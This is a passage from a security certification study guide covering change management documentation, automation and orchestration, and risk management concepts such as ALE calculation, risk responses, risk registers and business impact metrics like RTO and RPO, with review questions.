Version control refers to tracking and controlling changes to documents, code,
or other important data. Organizations can use version control to maintain a
historical record of changes, ensure only approved changes are implemented, and
quickly revert changes to a previous version as warranted. Version control is also
important when diagrams, policies, and procedures require updates. In this way,
version control prevents confusion associated with using outdated or inconsistent
documents.
Assessing how a change impacts existing policies, procedures, and diagrams is
essential, and change management plans should include provisions requiring
updates to these documents as part of the implementation. The frequency of
diagram and documentation updates varies, but they are typically updated
whenever significant changes or modifications to a process, system, or application
occur. Once document updates have been completed, the new versions should
be clearly labeled, and the older versions should be archived but still available
for reference. Major changes may necessitate training for relevant teams or
departments.

Change management is a crucial aspect of implementing changes to a system or

application. By assessing the potential technical implications of these changes,
organizations can take necessary steps to minimize disruptions. Effective change
management requires following specific processes, such as developing implementation
plans and conducting thorough testing procedures. Through change management,
leadership can ensure that any changes made are successful and contribute positively
to the organization.

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Some examples of different documentation impacted by change management

include the following:

Item Description
Change Requests Change requests themselves should
be reviewed and updated to reflect the
details and status of the change, including
any modifications or approvals during the
change management process.
Policies and Procedures Changes may impact existing policies and
procedures. As a result, these documents
need to be reviewed and updated to
ensure they align with the new processes,
guidelines, or controls introduced through
the change.
System or Process Documentation Documentation should reflect any changes
to systems, applications, or processes. It
may involve updating system architecture,
diagrams, process flows, standard
operating procedures (SOPs), or user
manuals to represent the current state
and functionality of the changed system.
Configuration Management Changes to configuration items, such as
Documentation servers, networks, or databases, should
be tracked and documented within
the configuration management system
to maintain an accurate record of its
configuration.
Training Materials Changes often impact employees, and
they may require more training. Existing
training materials, such as presentations,
manuals, or computer-based learning
modules, must be reviewed and updated
as warranted.
Incident Response and Changes made to systems or applications
Recovery Plans may necessitate updates to incident
response and recovery plans to
ensure they account for the revised
configurations, new dependencies, or
recovery procedures resulting from the
change.

Policies and procedures must change as often as technology does, which is often!

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Review Activity:
Change Management
5

Answer the following questions:

1. What is the purpose of a backout plan?

2. How are standard operating procedures related to change management?

3. How do system dependencies impact change management?

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Topic 14C
Automation and Orchestration
4

EXAM OBJECTIVES COVERED

4.7 Explain the importance of automation and orchestration related to secure
operations.

Automation and orchestration are powerful tools for managing security operations.
Automation uses software to perform repetitive, rule-based tasks, such as
monitoring for threats, applying patches, maintaining baselines, or responding
to incidents, to improve efficiency and reduce the likelihood of human error.
Orchestration enhances automation by coordinating and streamlining the
interactions between automated processes and systems. Orchestration supports
seamless and integrated workflows, especially in large, complex environments
with many different security tools and systems. Automation and orchestration
also provide clear audit trails supporting regulatory compliance and incident
investigation. While their implementation comes with challenges such as
complexity, cost, and the potential for a single point of failure, careful management
of these tools can greatly improve an organization’s security posture.

Automation and Scripting

Automation and scripting have emerged as critical tools in modern IT operations,
helping organizations streamline processes, enhance security, and improve
efficiency. Automation serves as a tool to enhance both security governance
and change management. In terms of governance, automation can help enforce
security policies more consistently and efficiently, and it can aid in monitoring and
reporting to provide valuable insights for leadership teams and risk managers.
In change management, automation can reduce the risk of human error, reduce
implementation time, and provide clear audit trails. For example, scripts are
effective for applying patches and updates across an organization’s systems
uniformly, and automation tools can track these changes for later review.

Capability Description
Provisioning User and resource provisioning are
fundamental IT tasks that greatly benefit
from automation and scripting. User
provisioning describes creating, modifying,
or deleting user accounts and access rights
across IT systems. Resource provisioning
describes allocating IT resources such
as servers, storage, and networks to
applications and users. Automation can
improve these tasks, reduce manual
effort, minimize errors, and improve
turnaround time. Scripting these tasks
helps organizations provide consistent
implementation and improve compliance.

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Capability Description
Guardrails and Security Groups Guardrails and security groups provide
frameworks for managing security within
an organization. Automated guardrails
can monitor and enforce compliance with
security policies, ensuring that risky activities
and behavior are prevented or flagged
for review. Security groups define which
resources a user or system can access.
Security groups can also be managed more
efficiently through automation, reducing
the possibility of unauthorized access or
excessive permissions.
Ticketing Automation can significantly improve the
efficiency of ticketing platforms. Incidents
detected by monitoring systems can
automatically generate support tickets, and
automation can also route tickets based
on predefined criteria, ensuring they reach
the right team or individual for resolution.
Automated escalation procedures can
also ensure that critical issues receive
immediate attention. Examples include
high-impact incidents, incidents requiring
specialized teams, incidents involving
executives and important customers, or any
issue that risks violating an established SLA.
Service Management Automation and scripting are also essential
tools for managing services and access
within an IT environment. Security analysts
can automate routine tasks such as enabling
or disabling services, modifying access
rights, and maintaining the lifecycle of IT
resources, freeing up time to focus on more
strategic or complicated analytical tasks.
Continuous Integration The principles of continuous integration
and Testing and testing hinge heavily on automation. In
this approach, developers regularly merge
their changes back to the main code branch,
and each merge is tested automatically
to help detect and even fix integration
problems. This capability improves code
quality, accelerates development cycles, and
reduces the risk of integration issues.
Application Programming APIs enable different software systems to
Interfaces (APIs) communicate and interact, and automation
can orchestrate these interactions, creating
seamless workflows and facilitating the
development of more complex systems,
such as security orchestration, automation
and response (SOAR) platforms.

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Automation and Orchestration Implementation

Benefits of Automation and Orchestration in
Security Operations
Automation and orchestration also offer many important benefits to security
operations. Primarily, they enhance efficiency by enabling repetitive tasks to be
performed quickly and consistently, reducing the burden on security teams and
minimizing the likelihood of human error (sometimes referred to as a workforce
multiplier).
Operator fatigue refers to the mental exhaustion experienced by cybersecurity
professionals due to their work’s continuous, high-intensity nature. Security
analysts must monitor numerous systems for potential threats, manage high
volumes of alerts (including many false positives,) and respond to confirmed threats
as quickly as possible. These working conditions often lead to long hours, anxiety,
and elevated stress levels, resulting in operator fatigue. This fatigue is a significant
concern in cybersecurity because it can lead to decreased alertness and cognitive
function and impair the ability of security personnel to identify and respond to
threats effectively. Fatigue results in missed critical alerts, slower response times,
and a greater likelihood of errors, any of which can compromise security.
Automation and orchestration play crucial roles in combating operator fatigue in
security operations by minimizing the repetitive, manual tasks that often contribute
to operator fatigue. Automation and orchestration significantly reduce a security
team’s workload by automating routine tasks, such as scanning for vulnerabilities,
applying patches, or monitoring systems for anomalous activities. This allows
for the more efficient use of resources and frees up security personnel to focus
on more complex, strategic issues that require human judgment and creativity
rather than repetitive tasks. Orchestration enhances the impact of automation by
coordinating automated tasks across different systems and software tools and
reduces detection and reaction times.
For example, if a threat is detected, an orchestrated system can automatically
isolate the affected subnet, perform basic analysis and reporting, notify security
teams, generate tickets, and document the incident, all without human intervention.
Other benefits of automation include enforcing standardized baselines through
configuration management tools to automatically override unauthorized changes
made to endpoints. A standard baseline in configuration management is a well-
defined set of approved configurations and settings that serve as a reference point
for establishing and maintaining the desired state of a system. Automation and
orchestration can significantly alleviate operator fatigue by reducing the volume of
manual, routine tasks and improving the efficiency of security operations leading
to greater job satisfaction, increased alertness and effectiveness in threat detection
and response, and ultimately, more robust security operations.

Automation can support staff retention initiatives by reducing fatigue from repetitive
tasks. Automation practices can free staff to perform more rewarding work and increase
job satisfaction.

Important Considerations
While automation and orchestration provide numerous benefits, they also present
some significant challenges, some of which are listed below:
• Complexity—Implementing automation and orchestration requires a deep
understanding of an organization’s systems, processes, and interdependencies.
A poorly planned or executed automation strategy can add complexity, making
systems more difficult to manage and maintain.

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• Cost—The initial cost of implementing automation and orchestration can be

high, including costs associated with acquiring and developing appropriate tools,
integrating them into existing systems, and training staff to use them effectively.
Automation software maintenance and upgrades can also be costly.

• Single Point of Failure—If a critical automated system or process fails, it could

impact multiple areas of the organization, causing widespread problems.

• Technical Debt—Organizations can accrue technical debt if automation and

orchestration tools are implemented hastily, resulting in poorly documented
code, "brittle" system integrations, or poor maintenance. Over time, this debt
can lead to system instability, complexity, and increased costs, ironically similar
to the problems associated mainly with legacy systems.

• Ongoing Support—Automation and orchestration systems require ongoing

support to stay effective and secure, including updates and patches, reviewing
and improving automated processes, and continuous education. Without
adequate support, the benefits of automation and orchestration are quickly
eroded.

Maintaining system security when new hardware or infrastructure items are added
to the network can be achieved by enforcing standard configurations across the
company. With automated configurations, these newly added items can be kept up to
date and secure.

Benefits of Infrastructure Management Automation

Automating and orchestrating infrastructure configurations introduces numerous
benefits. Enforcing standardized configurations ensures consistency and accuracy
throughout the infrastructure. Automation saves time and resources by allowing
configurations to be quickly deployed, and it also enhances scalability and flexibility
by simplifying the deployment and configuration of new resources.
Furthermore, automation and orchestration improve standardization, compliance,
and change management by enforcing predefined configuration standards, making
auditing and change tracking easier, and controlling configuration drift. Additionally,
automation can strengthen security and governance by enforcing security controls,
applying patches consistently, and automating security-related tasks.

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Review Activity:
Automation and Orchestration
5

Answer the following questions:

1. How are APIs important to automation and orchestration?

2. What is operator fatigue?

3. Identify a few of the potential issues associated with automation and

orchestration.

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Lesson 14
Summary
4

You should be able to identify the importance of governance and its role in shaping
the capabilites of a security program.

Guidelines for Implementing Governance

Follow these guidelines to support effective governance controls:
• Implement a governance structure that best supports the organization’s
objectives.

• Leverage expertise through committees to support decision-making.

• Establish a comprehensive list of policies, processes, standards, and guidelines.

• Implement change management programs to maintain control and promote

transparency.

• Use automation and orchestration tools to improve consistency, reduce

response times, and support compliance.

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 Lesson 15
Explain Risk Management Processes
1

LESSON INTRODUCTION
Effective risk management practices involve systematically identifying, assessing,
mitigating, and monitoring organizational risks. Audits provide an independent
and objective evaluation of processes, controls, and compliance, ensuring
adherence to standards and identifying gaps that pose risks. On the other hand,
assessments help evaluate the effectiveness of risk management strategies, identify
potential vulnerabilities, and prioritize mitigation efforts. By combining audits and
assessments, organizations can comprehensively understand risks, implement
appropriate controls, and continuously monitor and adapt their risk management
strategies to protect against potential threats. These practices are essential for
maintaining proactive and resilient security operations while ensuring compliance
with legal mandates.

Lesson Objectives
In this lesson, you will do the following:
• Explain risk management processes and concepts.

• Explain business impact analysis concepts.

• Understand various risk responses.

• Learn about vendor assessments and management practices.

• Explore internal and external assessment concepts.

• Learn about different penetration testing methods.

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Topic 15A
Risk Management Processes and
Concepts
2

EXAM OBJECTIVES COVERED

5.2 Explain elements of the risk management process.

Risk management involves identifying potential issues, assessing their potential

impact on the organization, and implementing controls to mitigate them. Key
concepts include risk identification, risk assessment, mitigation, and monitoring.
Risk appetite and risk tolerance are important in defining how much risk an
organization is willing to accept. Methods such as ad hoc, recurring, one-time,
or continuous risk assessments help organizations accurately understand their
risks. Ultimately, effective risk management helps safeguard the organization’s
information assets, maintain regulatory compliance, and support strategic
objectives.

Risk Identification and Assessment

Risk identification is fundamental to managing cybersecurity risks. It includes
recognizing risks such as malware attacks, phishing attempts, insider threats,
equipment failures, software vulnerabilities, and nontechnical risks like inadequate
policies or training. Risk identification methods include vulnerability assessments,
penetration testing, security audits, threat intelligence, and other methods. Risk
identification is the foundation for risk assessment and management practices.
Effective risk identification processes allow organizations to make informed
decisions regarding resource allocation, risk mitigation strategies, and overall risk
management practices.

Risk Assessment
Risk assessment is a core component of a cybersecurity program that evaluates
previously identified risks to determine their potential impact on the organization.
Risk assessment methodologies include ad hoc, recurring, one-time, or continuous.
Ad hoc risk assessments are conducted as needed, often in response to specific
incidents, such as news of a new, actively exploited zero-day vulnerability or
environmental changes such as system upgrades. One-time assessments are
comprehensive evaluations carried out at a particular point in time, often during
the implementation of a new system (or process) or to obtain an independent
assessment of an organization's operational maturity. Recurring risk assessments
are scheduled at regular intervals, such as annually, quarterly, or monthly, and
can include audits, compliance checks, vulnerability scans, and other types of
assessment. Continuous risk assessments constantly evaluate risks and are
supported by specialized tools that produce real-time data, such as agent-based
vulnerability scanning platforms and intrusion detection systems. Different risk
assessment methods are commonly combined to ensure effective identification
and management of risk.

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Quantitative risk assessment aims to assign concrete values to each risk factor.
(Image © 123RF.com.)

Risk Analysis vs. Risk Assessment

Risk analysis describes the process of identifying and evaluating potential risks and
the characteristics that define them. Risk analysis aims to understand the nature
and scope of risks by examining their causes, consequences, and concerns.
Risk assessment is a systematic approach designed to estimate potential risk
levels and their significance by interpreting data collected during risk analysis. Risk
assessment considers the likelihood of an event occurring and the severity of its
consequences. It may also involve prioritizing risks based on their potential impact
and defining risk management strategies.

Quantitative Analysis
Quantitative risk analysis aims to assign concrete values to each risk factor.
• Single Loss Expectancy (SLE)—The amount that would be lost in a single
occurrence of the risk factor. This is determined by multiplying the value of the
asset by an exposure factor (EF). EF is the percentage of the asset value that
would be lost. For example, it may be determined that a tornado weather event
will damage 40% of a building. The exposure factor in this case is 40% because
only part of the assest is lost. If the building is worth $200,000, this event SLE is
200,000*0.4 or $80,000.

• Annualized Loss Expectancy (ALE)—The amount that would be lost over the
course of a year. This is determined by multiplying the SLE by the annualized
rate of occurrence (ARO). ARO describes the number of times in a year that an
event occurs. In our previous (highly simplified) example, if it is anticipated that
a tornado weather event will cause an impact twice per year, then the ARO is
considered to be simply “2.” The ARO is the cost of the event (SLE) multiplied by
the number of times in a year it occurs. In the tornado example, SLE is $80,000
and ARO is 2 so the ALE is $160,000. This number is useful when considering
different ways to protect the building from tornados. If it is known that tornados
will have a $160,000 per year average cost, then this number can be used as a
comparison when considering the cost of various protections.

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It is important to realize that the value of an asset does not refer solely to its
material value. The two principal additional considerations are direct costs
associated with the asset being compromised (downtime) and consequent costs
to intangible assets, such as the company’s reputation. For example, a server
may have a material cost of a few hundred dollars. If the server were stolen, the
costs incurred from not being able to do business until it can be recovered or
replaced could run to thousands of dollars. In addition, the period of interruption
during which orders cannot be taken or go unfulfilled may lead customers to seek
alternative suppliers, potentially resulting in the loss of thousands of sales and
goodwill.
The value of quantitative analysis is its ability to develop tangible numbers that
reflect real money. Quantitative analysis helps to justify the costs of various
controls. When analysts can associate cost savings with a control, it is easy to justify
its expense. For example, it is easy to justify the money spent on a load balancer
to eliminate losses from website downtime that exceeded the cost of the load
balancer. Unfortunately, such direct and clear associations are uncommon!
The problem with quantitative risk assessment is that the process of determining
and assigning these values is complex and time consuming. The accuracy of the
values assigned is also difficult to determine without historical data (often, it has to
be based on subjective guesswork). However, over time and with experience, this
approach can yield a detailed and sophisticated description of assets and risks and
provide a sound basis for justifying and prioritizing security expenditure.

Qualitative Analysis
Qualitative risk analysis is a method used in risk management to assess risks
based on subjective judgment and qualitative factors rather than precise numerical
data. Qualitative risk analysis aims to provide a qualitative understanding of risks,
their potential impact, and the likelihood of their occurrence. Often referred to as
risk analysis using words, not numbers, this approach helps identify and prioritize
intangible risks.
One of the benefits of qualitative risk analysis is its simplicity and ease of use. It
does not require complex mathematical calculations or extensive data collection,
making it a more accessible approach. It allows for a quick initial assessment of
risks, enabling organizations to identify and focus on the most significant issues.
Qualitative risk analysis frames risks by considering their causes, consequences,
and potential interdependencies to improve risk communication and
decision-making.
Qualitative risk analysis has some limitations. It is subjective in nature and heavily
relies on expert judgment, which often introduces biases and inconsistencies if
expert opinions differ. The lack of numerical data in qualitative risk analysis may
make communicating risks to stakeholders who prefer quantitative information
challenging. Despite these limitations, qualitative risk analysis is important because
it provides a simplified description of risks and can help quickly draw attention to
significant issues.

Inherent Risk
The result of a quantitative or qualitative analysis is a measure of inherent risk.
Inherent risk is the level of risk before any type of mitigation has been attempted.
In theory, security controls or countermeasures could be introduced to address
every risk factor. The difficulty is that security controls can be expensive, so it is
important to balance the cost of the control with the cost associated with the risk.

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It is not possible to eliminate risk; rather the aim is to mitigate risk factors to the
point where the organization is exposed only to a level of risk that it can tolerate.
The overall status of risk management is referred to as risk posture. Risk posture
shows which risk response options can be identified and prioritized. For example,
an organization might identify the following priorities:
• Regulatory requirements to deploy security controls and make demonstrable
efforts to reduce risk. Examples of legislation and regulation that mandate risk
controls include SOX, HIPAA, Gramm-Leach-Bliley, the Homeland Security Act,
PCI DSS regulations, and various personal data protection measures.

• High value asset, regardless of the likelihood of the threat(s).

• Threats with high likelihood (that is, high ARO).

• Procedures, equipment, or software that increase the likelihood of threats

(for example, legacy applications, lack of user training, old software versions,
unpatched software, running unnecessary services, not having auditing
procedures in place, and so on).

Heat Map
Another simple approach is the heat map or “traffic light” impact matrix. For
each risk, a simple red, yellow, or green indicator can be put into each column to
represent the severity of the risk, its likelihood, cost of controls, and so on. This
approach is simplistic but does give an immediate impression of where efforts
should be concentrated to improve security.

Traffic light impact grid.

FIPS 199 (nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.199.pdf) discusses how to apply

security categorizations (SC) to information systems based on the impact that a
breach of confidentiality, integrity, or availability would have on the organization as
a whole. Potential impacts can be classified as the following:
• Low—minor damage or loss to an asset or loss of performance (though essential
functions remain operational).

• Moderate—significant damage or loss to assets or performance.

• High—major damage or loss or the inability to perform one or more essential

functions.

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Risk Management Strategies

Risk management strategies describe the proactive and systematic approaches
used to identify, assess, prioritize, and mitigate risks to minimize their negative
impacts.
Risk mitigation (or remediation) is the overall process of reducing exposure to
or the effects of risk factors. A countermeasure that reduces exposure to a threat
or vulnerability describes risk deterrence (or reduction). Risk reduction refers to
controls that can either make a risk incident less likely or less costly (or perhaps
both). For example, if fire is a significant threat, a policy strictly controlling the use
of flammable materials on-site reduces likelihood while a system of alarms and
sprinklers reduces impact by (hopefully) containing any incident to a small area.
Another example is off-site data backup, which provides a remediation option in the
event of servers being destroyed by fire.
Avoidance means to stop the activity that is causing risk. For example, a company
may develop an internally developed application for managing inventory and then
try to sell it. During the sales process, the application may be discovered to have
numerous security vulnerabilities that generate complaints and threats of legal
action. The company may decide that the cost of maintaining the security of the
software is not worth the revenue it generates and its development. Avoidance is
infrequently a credible option.

Risk Transference
Transference (or sharing) means assigning risk to a third party, such as an
insurance company. Specific cybersecurity insurance or cyber liability coverage
protects against fines and liabilities arising from data breaches and attacks.

Note that in this sort of case it is relatively simple to transfer the obvious risks, but
risks to the company’s reputation remain. If a customer’s credit card details are stolen
because they used your unsecure e-commerce application, the customer won't care if
you or a third party were nominally responsible for security. It is also unlikely that legal
liabilities could be completely transferred in this way. For example, insurance terms are
likely to require that best practice risk controls have been implemented.

It is not possible to eliminate risks, so a major objective of risk management is

to determine an appropriate level of allowable risk. The concept of “allowable
risk” varies greatly between organizations and is dependant on industry sector,
leadership style, legal environment, and other factors.

Risk Acceptance
Risk acceptance (or tolerance) means that no countermeasures are put in place
because the level of risk does not justify it.
A risk exception describes a situation where a risk cannot be mitigated using
standard risk management practices or within a specified time frame due to
financial, technical, or operational conditions. A risk exception formally recognizes
the risk and seeks to identify alternate mitigating controls, if possible. Relevant
stakeholders, such as risk managers or senior executives, must approve all risk
exceptions. Risk exceptions should be temporary and reviewed on an established
time frame to determine whether the risk levels have changed or if the exception
can be removed.

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A risk exemption is a condition where risk can remain without mitigation, usually
due to a strategic business decision. Risk exemptions are generally associated with
situations where the cost of mitigating a risk outweighs its potential harm or can
lead to significant strategic benefits when accepted. Similarly to risk exceptions,
risk exemptions must be formally documented and approved by risk managers or
senior executives and periodically reviewed using an established timetable.

The four risk responses are avoid, accept, mitigate, and transfer.

Residual Risk and Risk Appetite

Where inherent risk is the risk before mitigation, residual risk is the likelihood
and impact after specific mitigation, transference, or acceptance measures have
been applied. Risk appetite is a strategic assessment of what level of residual risk is
tolerable. Risk appetite is broad in scope. Where risk acceptance has the scope of a
single system, risk appetite has a project- or institution-wide scope. Risk appetite is
constrained by regulation and compliance.

Risk Management Processes

Risk management is a process for identifying, assessing, and mitigating
vulnerabilities and threats to the essential functions that a business must perform
to serve its customers. You can think of this process as being performed over five
phases:
1. Identify Mission Essential Functions—mitigating risk can involve a large
amount of expenditure so it is important to focus efforts. Effective risk
management must focus on mission essential functions that could cause the
whole business to fail if they are not performed. Part of this process involves
identifying critical systems and assets that support these functions.

2. Identify Vulnerabilities—for each function or workflow (starting with

the most critical), analyze systems and assets to discover and list any
vulnerabilities or weaknesses to which they may be susceptible.

3. Identify Threats—for each function or workflow, identify the threat sources

and actors that may take advantage of or exploit or accidentally trigger
vulnerabilities.

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4. Analyze Business Impacts—the likelihood of a vulnerability being activated

as a security incident by a threat and the impact of that incident on critical
systems are the factors used to assess risk. There are quantitative and
qualitative methods of analyzing impacts and likelihood.

5. Identify Risk Response—for each risk, identify possible countermeasures

and assess the cost of deploying additional security controls. Most risks
require some sort of mitigation, but other types of response might be more
appropriate for certain types and levels of risks.

For each business process and each threat, you must assess the degree of risk that
exists. Calculating risk is complex, but the two main variables are likelihood and
impact:
• Likelihood is often used in qualitative analysis to describe the chance of a risk
event happening subjectively. Likelihood is typically expressed using “low,”
“medium,” and “high” or scored on a scale from 1 to 5.

• Probability is a quantitative measure typically expressed as a numerical value

between 0 and 1 or a percentage. Probability aims to precisely measure the
chance of a risk event occurring based on statistical methods.

• Impact is the severity of the risk if realized as a security incident. This may be
determined by factors such as the value of the asset or the cost of disruption if
the asset is compromised.

Risk management is complex and treated very differently in companies and

institutions of different sizes, and with different regulatory and compliance
requirements. Most companies will institute enterprise risk management (ERM)
policies and procedures, based on frameworks such as NIST’s Risk Management
Framework (RMF) or ISO 31K. These legislative and framework compliance
requirements are often formalized as a Risk and Control Self-Assessment (RCSA). An
organization may also contract an external party to lead the process, in which case
it is referred to as a Risk and Control Assessment (RCA).
A RCSA is an internal process undertaken by stakeholders to identify risks and the
effectiveness with which controls mitigate those risks. RCSAs are often performed
through questionnaires and workshops with department managers. The outcome
of an RCSA is a report. Up-to-date RCSA reports are critical to the external audit
process.

Risk Registers
A risk register is a document showing the results of risk assessments in a
comprehensible format and includes information regarding risks, their severity, the
associated owner of the risk, and all identified mitigation strategies. The register
may include a heat map risk matrix (shown earlier) with columns for impact and
likelihood ratings, date of identification, description, countermeasures, owner/route
for escalation, and status.
Risk registers are also commonly depicted as scatterplot graphs, where impact
and likelihood are each an axis, and the plot point is associated with a legend that
includes more information about the nature of the plotted risk. A risk register
should be shared amongstakeholders (executives, department managers, and
senior technicians) so that they understand the risks associated with the workflows
that they manage.

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Risk Threshold
Risk threshold defines the limits or levels of acceptable risk an organization is
willing to tolerate. The risk threshold represents the boundaries within which
risks are considered to be acceptable and manageable. Risk thresholds are based
on various factors such as regulatory requirements, organizational objectives,
stakeholder expectations, and the organization’s risk appetite to help establish
clear guidelines for decision-making. Organizations often define different risk
thresholds for different types of risks based on their potential impact and
criticality.

Key Risk Indicators

Key Risk Indicators (KRIs) are critical predictive indicators organizations use
to monitor and predict potential risks. These metrics provide an early indication
of increasing risk exposures in different areas of the organization. KRIs assess
the potential impact and likelihood of various risks so leadership teams can take
proactive steps to manage them effectively.
Using KRIs is closely associated with risk registers and risk management practices
because KRIs provide the data needed to assess the likelihood and potential
impact of each risk item tracked in a risk register. For example, a KRI may identify
an increasing trend in system downtime due to IT operational issues which impact
business operations. Risk managers handle this via a risk register and include
details like potential impacts (lost productivity, customer dissatisfaction), mitigation
steps (increasing IT resources, improving system redundancy), and the person or
team responsible for managing these mitigations.
A risk owner refers to the individual responsible for managing a particular risk,
including identifying and assessing the risk, implementing measures to mitigate
it, monitoring the effectiveness of the measures, and taking corrective actions as
warranted. The risk owner has a comprehensive understanding of the risk and
its potential impacts and a thorough understanding of the measures needed
to manage it. This role is often assigned to leadership team members with the
authority to make decisions and the ability to allocate resources for risk mitigation.
The risk owner also communicates information about the risk and its status to other
stakeholders.
The risk appetite describes the level of risk that an organization is willing to accept.
The organization’s risk appetite is critical in determining which risks are added to a
risk register and how they are prioritized. Risks are compared to the organization’s
risk appetite when identified and assessed. Risk tolerance describes the specific
amount of variance an organization is willing to accept regarding measured risk
levels and the established risk appetite. If a risk item’s potential impact or likelihood
exceeds the organization’s risk tolerance, the risk is added to the risk register for
appropriate management and monitoring. Risks that exceed the organization’s risk
tolerance by a large margin are generally prioritized and treated more urgently than
other risks. In contrast, if a risk is near or slightly above the tolerance threshold,
leadership teams may decide to accept it and monitor it closely.

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Levels of Risk Appetite

Level Description
Expansionary An organization with an expansionary risk appetite is
willing to take on higher levels of risk in the pursuit of high
returns or aggressive growth. These organizations typically
operate in rapidly evolving markets or industries and
must take risks to remain competitive. Expansionary risk
appetites are associated with organizations launching new
products, entering new markets, or making major corporate
acquisitions.
Conservative An organization with a conservative risk appetite prioritizes
risk avoidance. This type of organization takes a cautious
approach to risks and prioritizes preserving cash,
maintaining a good reputation, or ensuring regulatory
compliance over pursuing aggressive growth.
Neutral An organization with a neutral risk appetite balances
expansionary and conservative approaches and is willing to
take on risks if they align with strategic objectives and can be
managed effectively.

Risk Reporting
Risk reporting describes the methods used to communicate an organization’s
risk profile and the effectiveness of its risk management program. Effective risk
reporting supports decision-making, highlights concerns, and ensures stakeholders
understand the organization’s risks. The content of risk reports must be relevant
to its intended audience. For example, reports designed for board members must
focus on strategic risks and the organization’s overall risk appetite. Operational risk
reports must include specific details regarding the factors contributing to risk and
are appropriate for managers or technical employees. Risk reports must also clearly
convey recommended risk responses, such as accepting, mitigating, transferring, or
avoiding the risk.

Business Impact Analysis

Identification of Critical Systems
To support the resiliency of mission essential and primary business functions, it
is crucial to perform an identification of critical systems. This means compiling an
inventory of business processes and the assets that support them. Asset types
include the following:
• People (employees, visitors, and suppliers).

• Tangible assets (buildings, furniture, equipment and machinery (plant), ICT

equipment, electronic data files, and paper documents).

• Intangible assets (ideas, commercial reputation, brand, and so on).

• Procedures (supply chains, critical procedures, standard operating procedures).

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For mission essential functions, it is important to reduce the number of

dependencies between components. Dependencies are identified by performing
a business process analysis (BPA) for each function. The BPA should identify the
following factors:
• Inputs—the sources of information for performing the function (including the
impact if these are delayed or out of sequence).

• Hardware—the particular server or datacenter that performs the processing.

• Staff and other resources supporting the function.

• Outputs—the data or resources produced by the function.

• Process Flow—a step-by-step description of how the function is performed.

Business impact analysis (BIA) is a process that helps businesses understand

the potential effects of disruptions on their operations. It involves identifying and
assessing the impact of various unplanned threat scenarios on the business, such
as accidents, emergencies, and disasters. By conducting a BIA, businesses can
proactively create recovery strategies to minimize the impact of disruptions and
ensure operational resilience.
For instance, if a DDoS attack suspends an e-commerce portal for five hours, the
business impact analysis will be able to quantify the losses from orders not made and
customers moving permanently to other suppliers based on historic data. The likelihood
of a DoS attack can be assessed on an annualized basis to determine annualized impact
in terms of costs. This informatioin is used to assess whether a security control, such as
load balancing or managed DDoS mitigation, is worth the investment.

Mission Essential Functions

A mission essential function (MEF) is one that cannot be deferred. This means
that the organization must be able to perform the function as close to continually as
possible, and if there is any service disruption, the mission essential functions must
be restored first.

Functions that act as support for the business or an MEF, but are not critical in
themselves, are referred to as primary business functions (PBF).

Analysis of mission essential functions is generally governed by four main metrics:

• Maximum tolerable downtime (MTD) is the longest period of time that a
business function outage may occur for without causing irrecoverable business
failure. Each business process can have its own MTD, such as a range of minutes
to hours for critical functions, 24 hours for urgent functions, seven days for
normal functions, and so on. MTDs vary by company and event. Each function
may be supported by multiple systems and assets. The MTD sets the upper limit
on the amount of recovery time that system and asset owners have to resume
operations. For example, an organization specializing in medical equipment
may be able to exist without incoming manufacturing supplies for three months
because it has stockpiled a sizable inventory. After three months, the organization
will not have sufficient supplies and may not be able to manufacture additional
products, therefore leading to failure. In this case, the MTD is three months.

• Recovery time objective (RTO) is the period following a disaster that an

individual IT system may remain offline. This represents the amount of time it
takes to identify that there is a problem and then perform recovery (restore from
backup or switch to an alternative system, for instance).

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• Work Recovery Time (WRT). Following systems recovery, there may be

additional work to reintegrate different systems, test overall functionality, and
brief system users on any changes or different working practices so that the
business function is again fully supported.

RTO+WRT must not exceed MTD!

• Recovery point objective (RPO) is the amount of data loss that a system can
sustain, measured in time. That is, if a database is destroyed by a virus, an
RPO of 24 hours means that the data can be recovered (from a backup copy)
to a point not more than 24 hours before the database was infected. RPO is
determined by identifying the maximum acceptable data loss an organization
can tolerate in the event of a disaster or system failure and is established
by considering factors such as business requirements, data criticality, and
regulatory or contractual obligations. The calculation of RPO directly impacts
the frequency of data backups, data replication requirements, recovery site
selection, and technologies that support failover and high availability.

Metrics governing mission essential functions. (Images © 123RF.com.)

For example, a customer relationship management database might be able to

sustain the loss of a few hours’ or days’ worth of data because employees can
generally remember who they have contacted and the conversations they had over
this time span. Conversely, order processing is generally more time sensitive, as
data losses will represent lost orders, and it may be impossible to recapture them
or the related processes initiated by order processing systems, such as accounting
and fulfillment data.
MTD and RPO help to determine which business functions are critical and also to
specify appropriate risk countermeasures. For example, if your RPO is measured in
days, then a simple tape backup system should suffice; if RPO is zero or measured
in minutes or seconds, a more expensive server cluster backup and redundancy
solution will be required.

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Mean time to repair (MTTR) and mean time between failures (MTBF) are key
performance indicators (KPIs) used to measure the reliability and efficiency
of systems, processes, and equipment. Both metrics are important to risk
management processes, providing measurable insights into potential risks and
supporting risk mitigation strategies. MTTR and MTBF guide decisions regarding
system design, maintenance practices, and redundancy or failover requirements.
• Mean time between failures (MTBF) represents the expected lifetime of a
product. The calculation for MTBF is the total operational time divided by the
number of failures. For example, if you have 10 appliances that run for 50 hours
and two of them fail, the MTBF is 250 hours/failure (10*50)/2.

• Mean time to repair (MTTR) is a measure of the time taken to correct a fault so
that the system is restored to full operation. This can also be described as mean
time to replace or recover. MTTR is calculated as the total number of hours
of unplanned maintenance divided by the number of failure incidents. This
average value can be used to estimate whether a recovery time objective (RTO) is
achievable.

A lower MTTR indicates quicker restoration of functionality, reducing downtime

and potential disruptions to operations. This information helps allocate resources,
prioritize maintenance activities, and optimize repair processes. MTBF identifies
the average time between system or equipment failures. A higher MTBF suggests
greater reliability and longer intervals between failures, which can affect
maintenance scheduling, spare part management, and overall system performance.
Based on MTBF data, organizations can make decisions regarding maintenance
strategies, equipment replacement, and investments in improving reliability.

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Review Activity:
Risk Management Processes
and Concepts
3

Answer the following questions:

1. What metric(s) could be used to make a quantitative calculation of risk

1.

due to a specific threat to a specific function or asset?

2. What type of risk mitigation option is offered by purchasing insurance?

2.

3. What is a risk register?

3.

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Topic 15B
Vendor Management Concepts
4

EXAM OBJECTIVES COVERED

5.3 Explain the processes associated with third-party risk assessment and management.

Third-party risk assessment involves several important processes integral to

effective risk management practices. These processes include vendor due diligence,
risk identification and assessment, ongoing monitoring, and incident response
planning. Vendor due diligence involves evaluating and selecting vendors based on
their security practices, financial stability, regulatory compliance, and reputation.
Risk identification and assessment include identifying potential risks associated
with vendor relationships and assessing their potential impact on the organization’s
